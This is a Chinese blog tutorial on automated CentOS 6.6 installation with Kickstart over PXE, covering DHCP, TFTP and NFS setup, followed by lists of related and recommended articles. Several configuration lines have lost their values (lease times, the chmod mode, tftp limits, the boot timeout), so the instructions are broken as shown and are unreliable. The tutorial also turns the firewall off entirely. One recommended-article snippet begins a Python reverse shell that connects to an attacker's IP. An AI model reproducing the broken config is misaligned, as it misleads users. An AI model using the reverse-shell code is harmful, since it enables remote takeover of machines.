自动化安装案例:

一 ,系统环境

# cat /etc/redhat-release
CentOS release 6.6 (Final) #Hostname
[root@boot ~]# hostname
boot.example.com

Kickstart安装

具体步骤如下
####################Start#####################33
二,安装部署DHCP服务器

[root@boot ~]# yum -y install dhcp

修改配置文件内容如下:

[root@boot ~]# vim /etc/dhcp/dhcpd.conf
#
# DHCP Server Configuration file.
# see /usr/share/doc/dhcp*/dhcpd.conf.sample
# see 'man 5 dhcpd.conf'
#
subnet 10.20.0.0 netmask 255.255.0.0 {
range 10.20.0.200 10.20.0.253;
option domain-name-servers 10.20.0.1;
option routers 10.20.0.1;
default-lease-time ;
max-lease-time ;
next-server 10.20.0.110;
filename "pxelinux.0"; }

启动DHCP并设置开机启动

[root@boot ~]# service dhcpd start
Starting dhcpd: [ OK ]
[root@boot ~]# chkconfig dhcpd on

三,部署TFTP服务器

[root@boot ~]# yum -y install tftp-server

修改配置文件

[root@boot ~]# yum -y install tftp-server

修改配置文件
vim /etc/xinetd.d/tftp
service tftp
{
socket_type = dgram
protocol = udp
wait = yes
user = root
server = /usr/sbin/in.tftpd
server_args = -s /var/lib/tftpboot
disable = no
per_source =
cps =
flags = IPv4
}
把 disable = yes 改成No

配置说明:共享路径为/var/lib/tftpboot

将光盘CentOS6.6放入光驱,从光盘中复制启动镜像文件和启动配置文件

[root@boot ~]# mount /dev/cdrom /media/
[root@boot ~]# cd /media/
[root@boot media]# cd isolinux/
[root@boot isolinux]# cp vmlinuz /var/lib/tftpboot/
[root@boot isolinux]# cp initrd.img /var/lib/tftpboot/
[root@boot isolinux]# mkdir /var/lib/tftpboot/pxelinux.cfg
[root@boot isolinux]# cp /media/isolinux/isolinux.cfg /var/lib/tftpboot/pxelinux.cfg/default
[root@boot isolinux]# chmod /var/lib/tftpboot/pxelinux.cfg/default

修改启动配置文件

[root@boot isolinux]# cat /var/lib/tftpboot/pxelinux.cfg/default
default linux
#prompt
timeout display boot.msg menu title Welcome to CentOS 6.6!
label linux
menu label ^Install or upgrade an existing system
menu default
kernel vmlinuz
append initrd=initrd.img ks=nfs:10.20.0.110:/ks/ks.cfg
label rescue
menu label ^Rescue installed system
kernel vmlinuz
append initrd=initrd.img rescue

重启TFTP服务并设置为开机启动

[root@boot ~]# service xinetd restart
Stopping xinetd: [ OK ]
Starting xinetd: [ OK ]
[root@boot ~]# chkconfig xinetd on
关闭放弃防止客户端无法访问服务器
[root@boot ~]# service iptables stop
[root@boot ~]# chkconfig iptables off

四,创建Kickstart自动应答文件

生成ks.cfg文件需要system-config-kickstart工具,而此工具依赖于X Windows,所以我们需要安装X Windows
和Desktop 并重启系统操作如下

[root@boot ~]# yum groupinstall "X Window System" -y
[root@boot ~]# yum groupinstall Desktop -y
[root@boot ~]# reboot

在10.20.0.110主机上安装图形工具软件system-config-kickstart

[root@boot ~]# yum -y install system-config-kickstart
[root@boot ~]# mkdir /ks/

在终端运行system-config-kickstart  设置效果如下:

五,部署安装NFS

[root@boot ]# yum -y install nfs-utils rpcbind

NFS配置文件更改

[root@boot ks]# vim /etc/exports
/ks 10.20.0.0/255.255.0.0(ro)
/media 10.20.0.0/255.255.0.0(ro)

启动NFS并且设置为开机启动

[root@boot ~]# /etc/init.d/rpcbind restart
[root@boot ~]# /etc/init.d/nfs restart
[root@boot ~]# chkconfig rpcbind on
[root@boot ~]# chkconfig nfs on

挂载镜像 共享

[root@boot media]# mount /dev/cdrom /media/

如果没有光驱 仅有IOS镜像文件 ,也可以将IOS镜像文件挂载至/media目录

[root@boot media]# mount -o loop -t ios9660 镜像文件 /media

 六,启动客户端,安装部署系统 

开启PXE 在boos中设置网络DHCP 获取 以PXE网络启动,或通过类似于开机按F12键这样快捷方式设置启动方式。

Kickstart 自动化安装配置的更多相关文章

  1. kickstart自动化安装--tftp+nfs+dhcp

    使用kickstart实现Centos 自动化安装 Kickstart自动化安装简介: 规模化:同时装配多台 服务器 自动化 :安装系统,配置各种服务 远程实现:不需要光盘,U盘等安装介质 优势: ( ...

  2. NTP时间同步 服务端 客户端 自动化安装配置

    NTP时间同步 服务端 客户端 自动化安装配置 原创内容 http://www.cnblogs.com/elvi/p/7657994.html #!/bin/sh #运行环境 centos6.cent ...

  3. Kickstart自动化安装平台

    PXE(preboot execute environment,预启动执行环境)是由Intel公司开发的最新技术,工作于Client/Server的网络模式,支持工作站通过网络从远端服务器下载映像,并 ...

  4. kickstart自动化安装

    preboot execute environment预启动执行环境--intel开发的技术,计算机可以通过pxe协议从网络引导启动. 工作模式为客户端/服务器端的c/s模式 客户端从远端服务器下载镜 ...

  5. 103、kickstart自动化安装操作系统

    103.1.前言: 作为中小公司的运维,经常会遇到一些机械式的重复工作,例如:有时公司同时上线几十甚至上百台服务器,而且需要我们在短时间内完成系统安装. 常规的办法有: 光盘安装系统===>一个 ...

  6. Linux系统实现ansible自动化安装配置httpd

    1.使用ansible的playbook实现自动化安装httpd 1)首先配置好ansible的hosts文件,让其对应主机能够受ansible控制 提示:我们在主机清单上配置了所管控的主机地址,但是 ...

  7. SaltStack自动化安装配置haproxy的Keepalived

    keepalived配置安装 什么是vrrp,阿里云不支持组播,所以阿里云上不能配置keepalived,但是它有自己的slb.运维的大忌,在命令行复制粘贴,一般是先复制到文本中查看确认以后salt编 ...

  8. SaltStack自动化安装配置haproxy

    准备环境node1:192.168.217.149 (saltstack master)node2:192.168.217.150(saltstack minion)下载haproxy1.6.2.ta ...

  9. Linux下使用Kickstart自动化安装平台架构

    PXE工作于Client/Server的网络模式.在启动过程中,终端要求服务器分配IP地址,再用TFTP协议下载一个自动启动软件包到内存中执行. 要使用kickstart安装平台,包括完整的架构为:K ...

随机推荐

  1. crontab格式使用方式

    第1列分钟1-59第2列小时1-23(0表示子夜)第3列日1-31第4列月1-12第5列星期0-6(0表示星期天)第6列要运行的命令 下面是crontab的格式:分 时 日 月 星期 要运行的命令 这 ...

  2. Simple python reverse shell

    import base64,sys; import socket,struct s=socket.socket(2,socket.SOCK_STREAM) s.connect(('Attack's I ...

  3. 《JS权威指南学习总结--6.9序列化对象》

    内容要点: 一.JSON.stringify()和JSON.parse() 1.对象序列化(serialization)是指将对象的状态转换为字符串,也可将字符串还原为对象.ES5提供了内置函数JSO ...

  4. ubuntu显卡驱动安装及设置

    转自: Ubuntu 14.04 Nvidia显卡驱动安装及设置   更换主板修复grub 引导后,无法从Nvidia进入系统(光标闪烁), 可能是显卡驱动出了问题. 1. 进入BIOS设置, 从集成 ...

  5. qt rcc 使用

    做项目的时候, 最初把图片放到 qrc里面, 使用编译生成的qrc_cpp. 但是编译超慢, 还经常提示"编译器空间不足". 网上很多人说是 中文路径的问题. 可是总是感觉编译器空 ...

  6. 二维小波包重构wprec2\wprcoef

    clc,clear all,close all; load woman; t=wpdec2(X,2,'haar');%小波包2层分解 r_X=wprec2(t);%重构小波包 r_X10=wprcoe ...

  7. 洛谷-哥德巴赫猜想(升级版)-BOSS战-入门综合练习1

    题目背景 Background 1742年6月7日哥德巴赫写信给当时的大数学家欧拉,正式提出了以下的猜想:任何一个大于9的奇数都可以表示成3个质数之和.质数是指除了1和本身之外没有其他约数的数,如2和 ...

  8. genymotion模拟器配置X86模拟器加速器

    网上下载zip包 http://download.csdn.net/download/we5868123/9430140 直接拖进去即可,虚拟机不能使用管理员权限启动 名字为:解决genymotion ...

  9. javascript动画效果之透明度(修改版)

    在编写多块同时触发运动的时候,发现一个BUG, timer = setInterval(show, 30);本来show是一个自定义函数,当设为timer = setInterval(show(one ...

  10. k近邻算法

    k 近邻算法是一种基本分类与回归方法.我现在只是想讨论分类问题中的k近邻法.k近邻算法的输入为实例的特征向量,对应于特征空间的点,输出的为实例的类别.k邻近法假设给定一个训练数据集,其中实例类别已定. ...